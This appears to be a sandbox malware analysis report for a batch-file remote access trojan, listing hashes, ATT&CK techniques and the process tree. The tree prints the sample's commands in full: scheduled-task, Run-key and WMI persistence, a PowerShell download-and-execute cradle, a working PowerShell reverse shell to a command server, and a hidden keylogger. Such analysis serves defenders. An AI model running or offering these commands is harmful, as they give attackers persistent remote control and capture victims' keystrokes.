e7d3e9449e5c7ee3f80ded2841264e0afc5baf7866fc00d3e8e6c7fc48bdbbb6

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 22:00

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General

Target
rat_build_63388_014229.bat
Size 4KB
Sample260529-1ws8dsfw8s
SHA256 e7d3e9449e5c7ee3f80ded2841264e0afc5baf7866fc00d3e8e6c7fc48bdbbb6
MD5 b931ae6975b7a6ee805077a9dca99cd1
SHA1 c3a6a64588467c71c456f3758e986b9a9e47668a
SHA512 b37b3c102bd456fa4b4c32d08c6f381476879cbf0d130d23f90071cb6633089fb7cc7ec464042285588f01d1eef9001fc95e8290e656a7eb8e827165c0819aba
SSDEEP 96:DIZGWbOjkSRx2DBJV9VM4TNi6COUgtTlZuZJKG0+Eo/ugHeIiFgZk8mvlo1kf:D6bOjkTT5TkqLZg40V/uCiFgkHlFf
TLSH
T1D0B1091397966120CAF01A1DDA733858576CE5FB1300CA8DFB488EC8594CF87AA6DBD7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_63388.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3800	powershell.exe
1872	powershell.exe
320	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_63388 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_63388.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5064	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4020	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3256	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
392	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3800	powershell.exe
3800	powershell.exe
1872	powershell.exe
1872	powershell.exe
320	powershell.exe
320	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4452	WMIC.exe
Token: SeSecurityPrivilege	4452	WMIC.exe
Token: SeTakeOwnershipPrivilege	4452	WMIC.exe
Token: SeLoadDriverPrivilege	4452	WMIC.exe
Token: SeSystemProfilePrivilege	4452	WMIC.exe
Token: SeSystemtimePrivilege	4452	WMIC.exe
Token: SeProfSingleProcessPrivilege	4452	WMIC.exe
Token: SeIncBasePriorityPrivilege	4452	WMIC.exe
Token: SeCreatePagefilePrivilege	4452	WMIC.exe
Token: SeBackupPrivilege	4452	WMIC.exe
Token: SeRestorePrivilege	4452	WMIC.exe
Token: SeShutdownPrivilege	4452	WMIC.exe
Token: SeDebugPrivilege	4452	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4452	WMIC.exe
Token: SeRemoteShutdownPrivilege	4452	WMIC.exe
Token: SeUndockPrivilege	4452	WMIC.exe
Token: SeManageVolumePrivilege	4452	WMIC.exe
Token: 33	4452	WMIC.exe
Token: 34	4452	WMIC.exe
Token: 35	4452	WMIC.exe
Token: 36	4452	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4452	WMIC.exe
Token: SeSecurityPrivilege	4452	WMIC.exe
Token: SeTakeOwnershipPrivilege	4452	WMIC.exe
Token: SeLoadDriverPrivilege	4452	WMIC.exe
Token: SeSystemProfilePrivilege	4452	WMIC.exe
Token: SeSystemtimePrivilege	4452	WMIC.exe
Token: SeProfSingleProcessPrivilege	4452	WMIC.exe
Token: SeIncBasePriorityPrivilege	4452	WMIC.exe
Token: SeCreatePagefilePrivilege	4452	WMIC.exe
Token: SeBackupPrivilege	4452	WMIC.exe
Token: SeRestorePrivilege	4452	WMIC.exe
Token: SeShutdownPrivilege	4452	WMIC.exe
Token: SeDebugPrivilege	4452	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4452	WMIC.exe
Token: SeRemoteShutdownPrivilege	4452	WMIC.exe
Token: SeUndockPrivilege	4452	WMIC.exe
Token: SeManageVolumePrivilege	4452	WMIC.exe
Token: 33	4452	WMIC.exe
Token: 34	4452	WMIC.exe
Token: 35	4452	WMIC.exe
Token: 36	4452	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2648	WMIC.exe
Token: SeSecurityPrivilege	2648	WMIC.exe
Token: SeTakeOwnershipPrivilege	2648	WMIC.exe
Token: SeLoadDriverPrivilege	2648	WMIC.exe
Token: SeSystemProfilePrivilege	2648	WMIC.exe
Token: SeSystemtimePrivilege	2648	WMIC.exe
Token: SeProfSingleProcessPrivilege	2648	WMIC.exe
Token: SeIncBasePriorityPrivilege	2648	WMIC.exe
Token: SeCreatePagefilePrivilege	2648	WMIC.exe
Token: SeBackupPrivilege	2648	WMIC.exe
Token: SeRestorePrivilege	2648	WMIC.exe
Token: SeShutdownPrivilege	2648	WMIC.exe
Token: SeDebugPrivilege	2648	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2648	WMIC.exe
Token: SeRemoteShutdownPrivilege	2648	WMIC.exe
Token: SeUndockPrivilege	2648	WMIC.exe
Token: SeManageVolumePrivilege	2648	WMIC.exe
Token: 33	2648	WMIC.exe
Token: 34	2648	WMIC.exe
Token: 35	2648	WMIC.exe
Token: 36	2648	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2648	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4964 wrote to memory of 392	4964	cmd.exe	81
PID 4964 wrote to memory of 3256	4964	cmd.exe	82
PID 4964 wrote to memory of 4452	4964	cmd.exe	83
PID 4964 wrote to memory of 2648	4964	cmd.exe	84
PID 4964 wrote to memory of 4536	4964	cmd.exe	85
PID 4964 wrote to memory of 4020	4964	cmd.exe	87
PID 4964 wrote to memory of 5064	4964	cmd.exe	90
PID 4964 wrote to memory of 3800	4964	cmd.exe	91
PID 4964 wrote to memory of 1872	4964	cmd.exe	92
PID 4964 wrote to memory of 320	4964	cmd.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_63388_014229.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4964
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_63388" /tr "C:\Users\Admin\AppData\Local\Temp\_63388.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:392
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_63388" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_63388.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3256
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_63388", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4452
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_63388", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_63388.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2648
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_63388.txt
  2⤵
  PID:4536
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4020
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:5064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_63388.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:320

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b14b48326a1201fc8b9667201c15392e52f7f5819c2aadafe19cbb72b08be51
MD5 04493ed4421328d5e40252891bfe515a
SHA1 ab8a4e3909ff849549ea989049ed30b490f274e7
SHA512 c8ca89143763a72f4ce8f10ffa2e161b59d41454bad0f71fcb4c7e9c8861a5d99bdc787907761bfb8439afad1f0557a1338bbb1054f5810de807633f515d5a76
TLSH
T1A551CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4de1f7ae586ffa5eac75722ae35780b96af82bc455cb9e8916af9d2d9569203a
MD5 9537821485120e3902256423c56b5394
SHA1 60474b140994a77eb45c3cb0c8970d36befa7fa9
SHA512 7e05c03ac196183371d5e32186412b7d0365ad24a7f9292683e863b59b0534622eb36de5c0441fb16a2b994fb93b3f5d6ea3f01a3c1e258ad8da37b1ae8b645d
TLSH
T112117633F79CC135C8AA117A108DAD01B2B4C3DB44AFDE8B7A84C508E57F98ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
MD5 8a9ce637f47cb4acdbef782b0c075292
SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
TLSH
T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_zmld4tih.aax.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zmld4tih.aax.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3800-9-0x00000280CEB10000-0x00000280CEB32000-memory.dmp

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